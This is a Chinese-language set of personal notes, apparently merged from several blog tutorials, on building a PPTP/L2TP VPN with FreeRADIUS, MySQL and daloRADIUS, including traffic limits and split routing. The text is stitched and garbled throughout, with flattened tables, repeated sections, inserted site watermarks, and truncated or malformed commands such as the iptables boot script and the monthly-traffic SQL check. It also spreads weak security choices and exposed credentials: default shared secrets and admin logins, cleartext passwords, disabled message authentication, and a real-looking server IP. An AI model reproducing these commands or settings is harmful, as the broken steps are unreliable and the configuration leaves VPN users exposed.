的无线路由器(能刷 dd-wrt).|       |   比如  |           功能             ||:-----:|:------:|:--------------------------:|| 服务端 |  VPS   | 运行freeradius 服务端软件    || 客户端 |  路由器 | 负责将用户信息 传递给服务器    || 用户端 |  手机   | 是不需要安装客户端的          |---- ## PPTP## Debian 安装教程:一键安装脚本.apt-get update ; apt-get install pptpd -ysed -i 'N;$d' /etc/pptpd.conf  echo -e "localip 192.168.217.1\nremoteip 192.168.217.234-238,192.168.217.245" \>\> /etc/pptpd.confecho xujian pptpd 0219 \* \>\> /etc/ppp/chap-secretssed -i -e 's/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g' -i -e 's/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g' /etc/ppp/optionssed -i 's/^#net.ipv4.ip\_forward=1/net.ipv4.ip\_forward=1/g' /etc/sysctl.confsysctl -p ; /etc/init.d/pptpd restart ;apt-get install iptablesiptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE  iptables-save \> /etc/iptables.pptp cd /etc/network/if-up.d/ ; touch iptables echo -e "\#\!/bin/sh" -e "\niptables-restore \\> iptables  chmod +x /etc/network/if-up.d/iptables- 检查并更新本地软件库: 只更新列表 不更新软件?  		apt-get update   #更新软件库		apt-get upgrade  #升级软件 少用. -y 直接同意安装.### 安装 PPTP  	    apt-get install pptpd  ### 配置 PPTP删除文件最后两行. 	    sed -i 'N;$d' /etc/pptpd.conf   添加两行到文件末尾 	    echo -e "localip 192.168.217.1\nremoteip 192.168.217.234-238,192.168.217.245" >> /etc/pptpd.conf     > 第一行: vpn 服务器的 IP 地址  随便写,但不要和本地地址冲突就行。​  > 第二行: 连接 VPN ,客户端获取到的 IP 地址,(vpn 分配给你的 IP).### 添加 VPN 帐户  	echo xujian pptpd 0219 \* >> /etc/ppp/chap-secrets  格式: 一行一人 : 用户名 pptpd 用户密码 \*(别忘记最后这个星号)    ### 修改 DNS 服务器  	sed -i -e 's/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g' -i -e 's/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g' /etc/ppp/options		i 参数  直接编辑文件.	e 参数 同时执行多项编辑.  ### 开启 IPv4 转发	sed -i 's/^#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf ### 应用配置 + 重启 PPTP 服务  + 安装 iptables:	sysctl -p ; /etc/init.d/pptpd restart ;apt-get install iptables### 开启iptables转发 (分两个命令运行)> 大概就是  iptables 下面的 nat  里面添加规则,允许转发.  	iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE		iptables-save > /etc/iptables.pptp   ### 开机自动加载 iptables> 去指定目录; 创建iptables文件 (其实是脚本);  > 写入内容: #!/bin/sh    iptables-restore \ 并给新建脚本运行权限 	cd /etc/network/if-up.d/ ; touch iptables		echo -e "#\!/bin/sh" -e "\niptables-restore \> iptables ;  		chmod +x /etc/network/if-up.d/iptables  问题汇总:连上 vpn  能上 qq 不能上网:# Ubuntupptp vpn 安装:1. 安装 pptp :        apt-get install pptpd2. 编辑 pptp.conf     vi /etc/pptpd.conf3. 将以下内容行的注释去掉:(18 / 99 / 100 行)option /etc/ppp/pptpd-optionslocalip 192.168.0.1remoteip 192.168.0.201-245这两句设置了当外部计算机通过pptp联接到vpn后所能拿到的ip地址范围和服务器的ip地址设置。4. 添加登录用户vi /etc/ppp/chap-secrets添加一行,格式如下用户名 pptpd "你想要的密码" \* 用户名不要引号密码要用半角双引号括起来千万不能忘了 星号.星号是说允许从任何IP地址联接,如果你想单独设定IP地址也可以。理论上到这里一个vpn就已经搭建完毕了。无论你用的是Windows还是OSX,或者是iPhone OS,都可以通过建立一个pptp链接来联入这个VPN。不过你并不能通过这个来上Internet,因为所有的数据都作用于那台pptpd的服务器上, 而不会传入拨入的计算机设备上。要上Internet还需要这么干:设置DNS解析,编辑pptpd-optionsvi /etc/ppp/pptpd-options---- ### Radius 启用 MySQL反注释 743 行: $INCLUDE sql.conf  	vi /etc/freeradius/radiusd.conf编辑 Radius 数据库配置文件 设置数据库类型 用户密码(要和 sql 密码统一).	vi /etc/freeradius/sql.conf- 反注释 108行 readclients = yes   来使得 freeradius 从数据库 读取客户端信息.- 自定义设置(同步修改别的配置文件.)	- mysql 数据库的端口  37行.	- radius 数据库的 用户名 密码等内容  39行  	- 默认:端口 3306  用户名 radius 密码 xujian 配置 令其使用 mysql 作为数据存储设备	vim /etc/freeradius/sites-available/default- authorize{}字段 (69行) 下:	- 注释 170行 files 行  		> 这里的file指的就是usrs文件  		> 将不再把用户信息写在users而使用mysql来存储用户信息	- 反注释 177行 sql 行  - accounting{} 字段 (379行) 下:	- 反注释 407行 的 sql   来启用sql来记录统计信息、- session{}字段 (451行) 下:	- 反注释 456行 sql行   启用用户同时登录限制功能.(可选功能)- post-auth{} 字段 (464行) 下:	- 反注释 478行 sql 行   启用用户登录后进行数据记录功能.如果你启动了 启用用户同时登录限制功能 那么接下来还要做这一步	vim /etc/freeradius/sql/mysql/dialup.conf找到下面几行(289-293行) 并反注释. 	Uncomment simul_count_query to enable simultaneous use checking	simul_count_query = "SELECT COUNT(*) \	                     FROM ${acct_table1} \	                     WHERE username = '%{SQL-User-Name}' \	                     AND acctstoptime IS NULL"3、进行测试;mysql -u root -pmysql\> use radius;mysql\> insert into radcheck(username,attribute,value,op)values("lansgg","Cleartext-Password","password123","=");重启 freeradius radtest lansgg password123 localhost 10 testing123到这里 mysql 的配置就算完成了.设置信息汇总:–MySQL–localhost: 3306–Radius–authentication \*: 1812accounting \*: 1813inner-tunnel authentication 127.0.0.1: 18120Proxy \*:1814---- ## 1.Freeradius 服务端+测试工具# Freeradius 服务端:  + 测试工具安装| 安装方式 |                                 |     安装版本    ||:-------:|:------------------------------ +『a-\_- |:--------------||自动安装: | sudo apt-get install freeradius | 非最新版        ||手动安装: |编译源代码                         | 最新版,推荐.    |# 手动安装流程:  - 卸载软件: ( 如果之前安装过 freeradius 2.0 的话 )	- apt-get remove freeradius	- apt-get autoremove   		> 自动卸载不需要的软件. - 官网下载最新版 源编码包.  ( Debian 下载方法: wget + 下载链接 ) -       指定FreeRADIUS Server地址,并设置通信密码cat \>\>/usr/local/etc/radiusclient/servers\ '%b'"	}{%endraw%}添加字典vim /etc/raddb/dictionary添加下面两行ATTRIBUTE Max-Monthly-Traffic 3003 integerATTRIBUTE Monthly-Traffic-Limit 3004 integer启用Traffic Countervim /etc/raddb/sites-enabled/default在authorize里添加monthlytrafficcounter(上面添加的流量统计器),像下面这样authorize {...monthlytrafficcounter}剩下就是修改用户权限了,这里直接[抄一个过来]()(http://wangyan.org/blog/freeradius-pptp-l2tp-html.html):# 添加用户test,密码test,注意是在radchec表INSERT INTO radcheck (username,attribute,op,VALUE) VALUES ('test','Cleartext-Password',':=','test'); # 将用户test加入VIP1用户组INSERT INTO radusergroup (username,groupname) VALUES ('test','VIP1'); # 限制同时登陆人数,注意是在radgroupcheck表INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES ('VIP1','Simultaneous-Use',':=','3'); # 添加NASINSERT INTO radius.nas VALUES ('1','192.168.8.129','Toky', 'other', NULL ,'linodecn.net',NULL ,NULL ,'RADIUS Client'); # 其他(选做)INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('VIP1','Auth-Type',':=','Local');INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('VIP1','Service-Type',':=','Framed-User');INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('VIP1','Framed-Protocol',':=','PPP');INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('VIP1','Framed-MTU',':=','1500');INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('VIP1','Framed-Compression',':=','Van-Jacobson-TCP-IP');打开从数据库查询nas支持默认从"/usr/local/etc/raddb/clients.conf" 文件读取,开启后可从数据库nas表读取。sed -i's/\#readclients/readclients/g' /usr/local/etc/raddb/sql.conf打开在线人数查询支持# 查找simul\_count\_query将279-282行注释去掉  vim /usr/local/etc/raddb/sql/mysql/dialup.conf用户权限管理连接 MySQL数据库  mysql -uroot -p123456;# 使用 radius 数据库USE radius;# 添加用户demo,密码demo,注意是在radchec表INSERT INTO radcheck(username,attribute,op,VALUE) VALUES ('demo','Cleartext-Password',':=','demo');# 将用户demo加入VIP1用户组INSERT INTO radusergroup(username,groupname) VALUES ('demo','VIP1');# 限制同时登陆人数,注意是在radgroupcheck表INSERT INTO radgroupcheck(groupname,attribute,op,VALUE) VALUES ('normal','Simultaneous-Use',':=','1');# 其他INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES ('VIP1','Auth-Type',':=','Local');INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES('VIP1','Service-Type',':=','Framed-User');INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES ('VIP1','Framed-Protocol',':=','PPP');INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES ('VIP1','Framed-MTU',':=','1500');INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES('VIP1','Framed-Compression',':=','Van-Jacobson-TCP-IP');启动cp /usr/local/sbin/rc.radiusd/etc/init.d/radiusd  /etc/init.d/radiusd start测试客户端:radtest demo demo localhost 1812testing123radtest 为radius 测试命令demo demo 前面为用户名 后面为密码127.0.0.1 1812 freeradius 服务器IP地址及端口 默认1812testing123  client.conf 中配置的secret 字段。"Access-Accept packet" 表示成功了,"Access-Reject" 表示失败了。验证数据库,请仔细查看用户demo字段属性:基中ppoe 拨号 radcheck 表中attribute 字段值必为:Cleartext-Password 否则用户登陆不成功。 ps:这个字段值可以修改,请有心童鞋费心一下。---- ## Radius 流控# 文章目录### [ 安装 FreeRADIUS 工具箱(含测试工具)][4] --- apt-get install freeradius-utils ### [安装 Mariadb 数据库(mysql 替代版)]()### [ 配置 客户端 ][6]### [ 取消注释 steve段(81-89行) :开启测试 ][7] 	    vi /etc/freeradius/users ### 改共享密码 :  Cleartext-Password := "xujian"- 查看防火墙状态:   iptables -L - 如有需要 修改防火墙配置 允许freeradius所使用的端口18121813通过。		iptables -A INPUT -p udp --dport 1812 -j ACCEPT		iptables -A INPUT -p udp --dport 1813 -j ACCEPT  ### 新建数据库.以及导入 一系列表.mysql -u root –p要求输入密码时,直接回车即可。 	create database radius;  		grant all on radius.* to radius@localhost identified by "radpass"; 		exit;导入表结构	mysql -u root -p radius  要用到 radtest 测试是否正常 | radclient  radtest , radzap   radsniff , smbencrypt || freeradius-mysql  | mysql 插件 | 必选 || phpmyadmin          | 选择: apache2  选择: 配置 no |  必选 || mysql-server | | freeradius-dialupadin | web管理插件 || libfreeradius2 | FreeRADIUS的共享库 | | php5-gd  php5-curl | php-pear php5-mail-mime php-db |              ### 修改默认通信密码- radius: udp 协议传输的. 安全性能不太好  所以就有了通信密码- 通信密码:用于加密 freeradius 服务器  客户端 通信的信息.  共享 key - \*\* 强烈建议修改更改通信密码  ( 101   默认的 testing123 改为 xujian ) \*\*  	    vi /etc/freeradius/clients.conf  	    改掉后如果测试有问题 重启服务器电脑使修改内容生效. ##### 启用测试账号,测试 freeradius 是否正常工作 	    vi /etc/freeradius/users   ( 注释掉 76 )		    # steve Cleartext-Password := "testing"   - FreeRADIUS自带一个默认的测试客户用户叫做localhost. 用来帮助排查问题和测试.-  启动脚本来关闭FreeRADIUS来确保没有其他实例在运行. 		/etc/init.d/freeradius stop- 以debug模式启动FreeRADIUS. 		freeradius -X	屏幕上的最后一行是:  Ready to process requests.  	说明安装正确, 如果这个没有发生, 阅读FreeRADIUS的debug输出.       - 本地电脑 另建终端 ssh登服务器 执行		radtest steve testing localhost 1812 xujian  |命令|解析||:---:|:---:|  | radtest |  测试命令| steve testing | 测试用户名 测试密码| localhost  1812 | freeradius 运行的 IP 地址和 端口号| xujian | 通信密码     	 测试成功 有如下行		    rad_recv: Access-Accept packet from host 127.0.0.1 ......   				-------# 配置VPN服务器为pptpd和xl2tpd启用radius插件,首先查找插件的位置。sudo updatedblocate radius.so插件通常位于/usr/lib/pppd/2.4.5/radius.so。### 配置pptpd查看/etc/pptpd.conf,获取pptpd的ppp配置文件位置option /etc/ppp/pptpd-options修改/etc/ppp/pptpd-options文件,在最后添加如下两行,注意修改插件的具体位置。	plugin /usr/lib/pppd/2.4.5/radius.so	radius-config-file /etc/radiusclient/radiusclient.conf重启pptpdsudo service pptpd restart ## 添加用户:||:---| 登陆 MySQL 数据库  --------------------------------------------------------------------------------------------- mysql -uroot -p;| 使用 radius 数据库 --------------------------------------------------------------------------------------------------- USE radius;|  radchec表添加用户 (用户名 xujian,密码 xujian ) :| INSERT INTO radcheck (username,attribute,op,VALUE) VALUES ('xujian','Cleartext-Password',':=','xujian');|将用户 xujian 加入VIP1用户组:| INSERT INTO radusergroup (username,groupname) VALUES ('xujian','VIP1');   默认freeradius只允许本地客户端发起认证, 这里假设有一台提供VPN服务的服务器名字是red,  ip为198.74.49.76,设置的共享密码为xujian,  其中IP必须为客户端IP,这里 vps 服务器 既当服务端 又当 客户端.shortname是可以随意设置的,客户端连接的时候会被要求提供secret:vi /etc/freeradius/clients.confclient IP\_ADDRESS {  ipaddr = 198.74.49.76  secret = xujian  require\_message\_authenticator = no  }     	编辑 clients.conf,确定哪个 IP 范围可以访问 Radius 服务,这里 secret 一行的 testing123 就是上面 DD-WRT 要用到的 WPA Shared Key:$ sudo vi /etc/freeradius/clients.conf...client 192.168.2.0/24 {	    require_message_authenticator = no	    secret          = testing123	    shortname       = vpsee-network}...client 192.168.1/24 {  shortname = netgear  secret = xujian  require\_message\_authenticator = no  }                            # clients.conf    客户端配置目录: 增加 NAS 客户端到这里才能连接.      127.0.0.1  也叫 localhost    默认是开启的 方便你测试 radius 是否能正常工作.    每个 客户端 都有个 shortname  用来区分别的客户端.    1.0 版本   client 后面跟的是 客户端的 ip.  2.0 版本   ip 由中括号 里面的 ipaddr 来定义了.    例子:    client localhost {	    #  ip 地址. 或者 ip 组!!!!!	       ipaddr = 127.0.0.1/24默认 子网掩码  32    最好不要改.# 共享密码:必须改.老的客户端  在发起连接请求时候 可能不发送 Message-Authenticator require\_message\_authenticator = no   关闭这个功能 就好了            待确定.short name   也就是 ip  别名  为了区别不同客户端用客户端1.版本 需要 	 2 版本 不需要.			 现在可以给 每个客户端 都设定各自的密码.比如:client 192.168.0.0/24 {	   secret          = testing123-1	   shortname       = private-network-1}client 192.168.0.0/16 {	   secret          = testing123-2	   shortname       = private-network-2}只允许固定的 ip 能连接服务器.clients per\_socket\_clients {	   client 192.168.3.4 {	           secret = testing123	    }}       配置 默认表:  vi /etc/freeradius/sites-available/default      确保 pam  没被注释掉    authenticate {	    Auth-Type PAP {	            pap	    }	    Auth-Type CHAP {	            chap	    }	    Auth-Type MS-CHAP {	            mschap	    }	    pam	    unix	    eap}...            同样的确定 inner-tunnel 配置文件里面的 pam 一行没有被注释掉:    vi /etc/freeradius/sites-available/inner-tunnel    authenticate {	    Auth-Type PAP {	            pap	    }	    Auth-Type CHAP {	            chap	    }	    Auth-Type MS-CHAP {	            mschap	    }	    pam	    unix	    eap}在 users 加入下面认证类型:$ sudo vi /etc/freeradius/users...DEFAULT Auth-Type = PAM	  Fall-Through = 1...# 报错汇总:    freeradius -X     错误:  Failed binding to authentication address \* port 1812: Address already in use      原因: freeradius 已经在运行.  没必要再启动.         查看 linux 系统运行 进程. 命令   ps -A 显示所有进程.                                                配置流程:    小改 改一次 测试一次   freeradius -X  来测试      通过再然后进行小改.             ddwrt 路由器  radius 客户端:将WLAN无线路由器的 IP 地址添加到 RADIUS 服务器上。在WLAN无线路由器中启用并指定 RADIUS 服务器。将 RADIUS 用户名或组名添加到您的策略中。要在配置中启用并指定 RADIUS 服务器。                # MySQL 集成#### admin.sql 脚本内容详解: 	CREATE USER 'radius'@'localhost';  	SET PASSWORD FOR 'radius'@'localhost' = PASSWORD('xujian');	GRANT SELECT ON radius.* TO 'radius'@'localhost';	GRANT SELECT ON radius.* TO 'radius'@'localhost';	GRANT ALL on radius.radacct TO 'radius'@'localhost';	GRANT ALL on radius.radpostauth TO 'radius'@'localhost';----  	CREATE USER 'radius'@'localhost';  > - 给数据库 新建用户> - radius: 新用户名> - @localhost:  只能通过服务器本机进行登录. 不能通过网络远程登录!!!!!!!	SET PASSWORD FOR 'radius'@'localhost' = PASSWORD('xujian');> - 给数据库新用户设置密码> - 密码 要在单引号内	GRANT SELECT ON radius.* TO 'radius'@'localhost';> - 给新建用户  数据库(radius)的 查询 权限.	GRANT ALL on radius.radacct TO 'radius'@'localhost';> - 给新建用户  数据库(radius)的 radacct 表的所有权限.	GRANT ALL on radius.radpostauth TO 'radius'@'localhost';> - 给新建用户  数据库(radius)的 radpostauth 表的 所有权限.## nas.sql 脚本内容详解:- 在一个NAS可以使用FreeRADIUS服务器之前,  	必须先在FreeRADIUS服务器上的定义这个客户端.给数据库添加一个表 网络设备表.  使用方法: > mysql -uroot -p radius \ - 下面的命令  cd /etc/freeradius/sql/mysql  才能执行的.  > - 其实就是 mysql里创建用户密码   .> - 如果你重复配置好多次 可能会报错.比如已经建了默认的账户密码.> - 要改密码的话 这个 只能手动去mysql 手动改密码啦.> - 表重复的话 应该没关系的.> - 账号密码 都在 mysql里(软件自带的表) 	    mysql -uroot -p  重启重启Apache和MySQL:service httpd restartservice mysqld restart 打开浏览器,进入daloRADIUS的管理页面 (本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。 在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。    ### 配置 pptpd编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2:refuse-paprefuse-chaprefuse-mschaprequire-mppe-128require-mschap-v2在配置文件最后加上3行:plugin radius.soplugin radattr.soradius-config-file /usr/local/etc/radiusclient/radiusclient.conf启动服务一切完成后我们不需要使用debug模式启动radiusd了:service radiusd start 当然,我们可以把radiusd和pptpd设为开机启动服务: chkconfig radiusd on chkconfig pptpd on  至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。   locate 文件搜索.updatedb 文件搜索的 索引库.x配合 mysql.使用 radius 需要配置 http php mysql 环境,用 apache 作为http 服务器. ## Debian 安装 L2TP一、安装 IPSecIPSec 会对 IP 数据包进行加密和验证。  推荐用 openswan 这个后台软件包来跑 IPSec。安装 openswan:sudo apt-get  install openswan1.1 配置sysctl参数    sudo mv /etc/sysctl.conf /etc/sysctl.conf.bak备份文件     sudo vim /etc/sysctl.conf    —————新建文件 并输入如下内容-------------    net.ipv4.ip\_forward = 1    net.ipv4.conf.all.accept\_redirects = 0    net.ipv6.conf.all.accept\_redirects = 0    net.ipv4.conf.all.send\_redirects = 0 # Mac 电脑 vpn 连接方法设置   网络  左下角 加号  接口名称 VPN 服务名称:随便取  创建 配置:默认服务器地址:vps 服务器的 ip 外网 ip . 固定 ip账户名: 设置的 VPN 账户名  加密: 自动鉴定设置:选择密码   输入VPN密码高级: 通过 vpn 连接发送所有流量  打钩.点击连接 . ok## VPN 内外网 同时使用方法1、自行搭建 VPN 服务器或购买 VPN 提供商的服务。2、打开系统偏好设置—\>网络,增加 VPN 设置,VPN 类型选择PPTP,根据提示设置用户名密码等信息即可。3、下载 chnroutes.py,相关网址:Downloads - chnroutes - Scripts to generate special routes for china ips4、打开终端进入下载文件的目录,执行:python chnroutes.py -p mac,该目录下会生成两个文件「ip-up」和「ip-down」。5、把这两个文件复制到 /etc/ppp 下,然后进入该目录执行:sudo chmod a+x ip-up ip-down测试一下,在终端执行:netstat -nr,检查路由表的输出信息。连接 VPN,  再次执行:netstat -nr,你会发现路由表已经发生了变化。这时再去访问国内的网站,你发现他们又变得嘻唰唰了,同时还能访问 Twitter  Facebook!## FreeRADIUS官网 :  [http://freeradius.org][14]debian 7 下教程:[https://ttboa.wordpress.com/2014/09/26/freeradius-on-debian-7/][15]服务器: Debian 8:安装freeradius:     sudo apt-get install freeradius开启测试账号密码:(用完后 记得删掉.) vim /etc/freeradius/users76-84  前的# 去掉.testuser Cleartext-Password := "testpassword"重启服务   service freeradius restart查看服务状态:  service freeradius status进行测试radtest steve testing localhost 0 testing123如果看到Access-Accept就说明连接成功了。连接失败radtest testuser testpassword localhost 0 testing123radclient: no response from server for ID 25 socket 31. 下载ppp源码,因为要用到其中的配置文件:\`\`\` 1   # wget ftp://ftp.samba.org/pub/ppp/ppp-2.4.5.tar.gz2   # tar zxvf ppp-2.4.5.tar.gz3   # cp -R /root/ppp-2.4.5/pppd/plugins/radius/etc/ /usr/local/etc/radiusclient\`\`\`1. 编辑/usr/local/etc/radiusclient/servers,加上一组服务器和密钥,本例中为“MyVPN”: IT网,http://www.it.net.cn   \`\`\`    1   # vim /usr/local/etc/radiusclient/servers   2   localhost MyVPN   \`\`\`2. 编辑/usr/local/etc/radiusclient/dictionary,将最后一行改为:INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft IT网,http://www.it.net.cn可以再添加一行:INCLUDE /usr/local/etc/radiusclient/dictionary.merit IT网,http://www.it.net.cn1   # vim /usr/local/etc/radiusclient/dictionary2   INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft3   INCLUDE /usr/local/etc/radiusclient/dictionary.merit1. 编辑/etc/raddb/clients.conf,把client localhost段下的secret改成刚才指定的密钥。 Linux学习,http:// linux.it.net.cn2. 编辑/etc/raddb/radiusd.conf,找到$INCLUDE sql.conf,去掉前面的#;找到$INCLUDE sql/mysql/counter.conf,去掉前面的#。3. 添加MySQL用户及数据库,你可以使用现成的phpMyAdmin等工具,也可以在终端下操作。本例中,创建了radius的用户和同名的数据库:\`\`\` 1   # mysql -uroot -p2   (如果有密码,请输入)3   \> CREATE USER 'radius'@'localhost' IDENTIFIED BY '\*\*\*';4   \> CREATE DATABASE IF NOT EXISTS `radius` ;5   \> GRANT ALL PRIVILEGES ON `radius` . \* TO 'radius'@'localhost';\`\`\`1. 编辑/etc/raddb/sql.conf,配置login(用户名),password(密码),radius\_db(数据库名)等字段,并找到readclients一行,设为yes并去掉注释符号#。2. 编辑/etc/raddb/sites-enabled/default,根据下面的说明注释或取消注释相应的行:    authorize段,关掉files,打开sql,也可以把unix关掉    preacct段,关掉files    accounting段,打开sql,也可以把unix关掉    session段,打开sql    post-auth段,打开sql    pre-proxy段,关掉files IT网,http://www.it.net.cn到这一步,我们的FreeRADIUS就算配置好了,用户信息都将保存在MySQL数据库中。至于数据库中的表,我们在后面统一导入。配置daloRADIUS1. 首先下载并安装daloRADIUS,其中需要安装一个Pear-DB的包:   \`\`\`    1   # wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz   2   # pear install DB   3   # mkdir /usr/share/daloRadius   4   # tar zxvf daloradius-0.9-8.tar.gz   5   # mv daloradius-0.9-8/\* /usr/share/daloRadius/   6   # rm -r daloradius-0.9-8   \`\`\`2. 这时我们将daloRADIUS中附带的sql文件导入MySQL数据库,别忘了输入密码: Linux学习,http:// linux.it.net.cn   \`\`\`    1   # mysql -uroot -p radius \   4   \   \`\`\`5. 重启重启Apache和MySQL: Linux学习,http:// linux.it.net.cn   \`\`\`    1   # service httpd restart   2   # service mysqld restart   \`\`\`6. 打开浏览器,进入daloRADIUS的管理页面(本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。   daloRADIUS似乎写的不怎么样,最新稳定版已经是三年之前的了,不过作者直到现在还在更新SVN,下次有机会可以用最新的SVN版本试试看。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。 IT网,http://www.it.net.cn7. 在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。   配置pppd8. 编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2 IT网,http://www.it.net.cn   \`\`\`    1   # vim /etc/ppp/options.pptpd   2   refuse-pap   3   refuse-chap   4   refuse-mschap   5   require-mppe-128   6   require-mschap-v2   7       8   # 在配置文件最后加上3行:   9          10  plugin radius.so   11  plugin radattr.so   12  radius-config-file /usr/local/etc/radiusclient/radiusclient.conf   \`\`\`   启动服务9. 一切完成后我们不需要使用debug模式启动radiusd了:   \`\`\`    1   # service radiusd start   \`\`\`10. 当然,我们可以把radiusd和pptpd设为开机启动服务:	\`\`\` 	1   # chkconfig radiusd on	2   # chkconfig pptpd on	\`\`\`	至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。	文章来源于互联网,具体链接一时忘记未有记下。。。如下几点则为具体配置中所出现的问题及解决方法1、执行第十三点时报如下错误:pear not found经谷歌,解决方法如下:1   # yum install php-pear2   # pear upgrade PEAR2、daloRadius登录界面,用户名为administrator,没记错的话密码是radius。修改密码到config-\>Opeartors修改。 Linux学习,http:// linux.it.net.cn3、MySQL错误:Database connection error Error Message: DB Error: extension not found解决方法:1   # yum install php-mysql -y4、无法连接MySQL:Database connection error Error Message: DB Error: connect failed1   # vim /usr/share/daloRadius/library/daloradius.conf.php2   # $configValues['CONFIG\_DB\_HOST']() = '127.0.0.1'; # 默认为 localhost5、无法拨入,客户端报691错误: IT网,http://www.it.net.cn1   # vim /usr/local/etc/radiusclient/dictionary2   #INCLUDE /etc/radiusclient/dictionary.microsoft3   INCLUDE /usr/local/etc/radiusclient/dictionary.merit4   INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft5   INCLUDE /usr/local/etc/radiusclient/dictionary.ascend6   INCLUDE /usr/local/etc/radiusclient/dictionary.compat PS:添加流量控制:1、建立表格1   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Auth-Type',':=','Local');2   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Service-Type',':=','Framed-User');3   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Framed-IP-Address',':=','255.255.255.255');4   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Framed-IP-Netmask',':=','255.255.255.0');5   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Acct-Interim-Interval',':=','600');6   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Max-Monthly-Traffic',':=','5368709120');7   \> INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES ('user','Simultaneous-Use',':=','1');以上前四行不用改动,acct-interim-interval是计算流量的间隔(600秒),意味着每隔10分钟记录当前流量。倒数第二行是每月最大流量,这里是5G(单位是字节)。最后一行是允许同时连接数目。 IT网,http://www.it.net.cn2、修改配置1   # vim /etc/raddb/sql/mysql/dialup.conf2   	{%raw%}	sql_user_name = "%{%{Stripped-User-Name}:-%{%{User-Name}:-none}}"	{%endraw%}3   # 取消前面的注释并注释下一行4   # 同时如果需要打开simultanoues-use(控制同时在线用户数)的话需要把simul\_query\_check取消注释。3、输入测试用户信息:1   \> INSERT INTO radcheck (username,attribute,op,VALUE) VALUES ('test','Cleartext-Password',':=','test');2   \> INSERT INTO radusergroup (username,groupname) VALUES ('test','user');(用户名与密码必须以明文/NTLM Crypt形式保存,因为MS-CHAPv2不支持MD5保存的密码。) IT网,http://www.it.net.cn4、由于上步中有非内置的attribute Max-Monthly-Traffic,所以需要在/usr/local/etc/raddb/dictionary里面定义:ATTRIBUTE Max-Monthly-Traffic 3003 integer IT网,http://www.it.net.cn5、初步测试: IT网,http://www.it.net.cn1   # /etc/init.d/freeradius stop2   # radiusd -X \>3   # radtest test test localhost 1649 testing123如果结果中有Access-Accept就代表成功了,否则退回去检查设置。6、测试成功的话添加在认证时检测流量的语句,打开/usr/local/etc/raddb/sites-enabled/default,找到authorize一节插入:1   # vim /usr/local/etc/raddb/sites-enabled/default2       update request {3       Group-Name := "%{sql:SELECT groupname FROM radusergroup WHERE username='%{User-Name}' ORDER BY priority}"4       }5       if ("%{sql: SELECT SUM(acctinputoctets+acctoutputoctets) FROM radacct WHERE username='%{User-Name}' AND date\_format(acctstarttime, '%Y-%m-%d') \>= date\_format(now(),'%Y-%m-01') AND date\_format(acctstoptime, '%Y-%m-%d') \= "%{sql: SELECT value FROM radgroupreply WHERE groupname='%{Group-Name}' AND attribute='Max-Monthly-Traffic';}") {6       reject7       }7、设置radiusclient:打开/usr/local/etc/radiusclient/radiusclient.conf,修改authserver localhost:1812acctserver localhost:1813修改server:最后加上localhost secret(就是FreeRadius的client.conf里面定义的secret)修改dictionary:最后加上 IT网,http://www.it.net.cnINCLUDE /usr/local/etc/radiusclient/dictionary.meritINCLUDE /usr/local/etc/radiusclient/dictionary.microsoft Linux学习,http:// linux.it.net.cn如果没有dicitionary.microsoft的话看这里:http://wiki.freeradius.org/PopTop8、启动服务1   # service radiusd start2   # chkconfig radiusd on3   # chkconfig pptpd on至此,完成了所有配置了。。。 Linux学习,http:// linux.it.net.cn(责任编辑:IT)客户端 安装客户端  1.1.7 [http://freeradius.org/freeradius-client/][23]接下来 是防火墙的联动 